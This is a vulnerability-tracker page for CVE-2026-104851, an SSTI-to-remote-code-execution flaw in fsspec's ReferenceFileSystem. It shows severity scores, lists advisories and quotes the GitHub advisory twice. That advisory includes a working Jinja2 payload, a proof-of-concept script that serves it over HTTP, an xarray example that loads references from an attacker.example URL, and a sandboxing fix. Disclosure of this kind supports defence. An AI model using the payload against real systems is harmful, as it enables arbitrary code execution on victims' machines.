CVE-2026-104851

highpriority · track · 0EPSS 0.005 · 41 %ileDEFRUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.47% (41st) EPSS
CVSS 8.8 · high
Is it mine?
6 products
Check your exposure
Who says so?
3 sources
osv · cert_bund · certfr

EPSS · scored 2026-10-27

fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 2.8 · impact 5.9
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (6)

Products and version ranges known to be affected.

05

advisories (4)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-4111Red Hat Ansible Automation Platform: Mehrere SchwachstellenDeutsch2026-10-21csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Red Hat Ansible Automation Platform ausnutzen, um beliebigen Code mit Benutzer- oder Anwendungsrechten auszuführen, gültige kryptografische Token zu fälschen, die Authentifizierung zu umgehen, erweiterte Rechte zu erlangen, Denial-of-Service-Zustände auszulösen sowie Daten zu manipulieren oder offenzulegen.

  • GHSA-27vj-qcqg-25rcfsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution2026-10-05ghsa · osvUS

    ### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A

  • CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
  • PYSEC-2026-4217fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution2026-10-15vendor · osvUS

    ### Summary `fsspec.implementations.reference.ReferenceFileSystem` parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through **un-sandboxed** `jinja2.Template(...).render(...)` calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with `fsspec.filesystem("reference", fo=URL)` or via `xarray.open_dataset("reference://...")` — achieves arbitrary Python code execution on the victim machine, before any data is read. This mirrors the pattern of [CVE-2024-34359](https://nvd.nist.gov/vuln/detail/CVE-2024-34359) in `llama-cpp-python`, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment. ### Affected versions All versions of `fsspec` from `0.9.0` onward (vulnerable code introduced in commit `0fb8d56b684ee74ad9ad4587fd560bde1b116450`, 2021-03-12). Confirmed on the latest released version `2025.10.0`. ### Affected sinks All in `fsspec/implementations/reference.py`: | Sink | Location | Trigger | |---|---|---| | A — `_process_references1._render_jinja` | lines 1016-1018 | `simple_templates=False` and a `refs` entry contains `{{` | | B — `_process_templates` (lambda) | lines 1043-1053 | `templates` dict has values containing `{{`, invoked later via render context | | C — `_process_gen` | lines 1075-1083 | references JSON contains a `gen` array (always reached, regardless of `simple_templates`) | Sink C is the most severe: it is reached unconditionally for any references JSON that includes a `gen` field. The vulnerable code: ```python # fsspec/implementations/reference.py # Sink A @lru_cache(1000) def _render_jinja(u): return jinja2.Template(u).render(**self.templates) # <- unsandboxed # Sink B def _process_templates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, **kwargs: jinja2.Template( temp # <- unsandboxed ).render(**kwargs) # Sink C def _process_gen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed ``` ### Proof of concept (Sink C, minimal) Save as `poc.py`: ```python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], } body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200); self.end_headers(); self.wfile.write(body) def log_message(self, *a, **kw): pass srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serve_forever, daemon=True).start() url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json" for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspec_pwned_*"))) ``` Run: ``` pip install fsspec aiohttp requests jinja2 python3 poc.py # → markers: [PosixPath('/tmp/fsspec_pwned_<user>')] ``` ### End-to-end via xarray (real-world consumer pathway) ```python import xarray as xr ds = xr.open_dataset( "reference://", engine="zarr", backend_kwargs={ "consolidated": False, "storage_options": { "fo": "http://attacker.example/refs.json", "remote_protocol": "http", }, }, ) # RCE fires before any data is materialised. ``` ### Tested on - fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux ### Impact `fsspec.ReferenceFileSystem` is the canonical entrypoint for the **Kerchunk** format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage. Realistic attack vectors: - A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain). In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code. ### Suggested fix Replace `jinja2.Template(...)` with a shared `jinja2.sandbox.ImmutableSandboxedEnvironment` for all three sinks. This matches the post-incident hardening applied to `llama-cpp-python` after CVE-2024-34359. ```python # At module top def _sandboxed_env(): import jinja2.sandbox env = getattr(_sandboxed_env, "_env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() _sandboxed_env._env = env return env ``` Then in each sink, replace `jinja2.Template(s).render(...)` with `_sandboxed_env().from_string(s).render(...)`. The legitimate Kerchunk template syntax (simple variable substitution like `{{ varname }}`) continues to work under the sandbox; only the SSTI gadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.) are refused with `jinja2.exceptions.SecurityError`. A complete patch is available on request. ### Credit Reported by Dany.A

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-10-02modified 2026-10-05
08

references (6) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan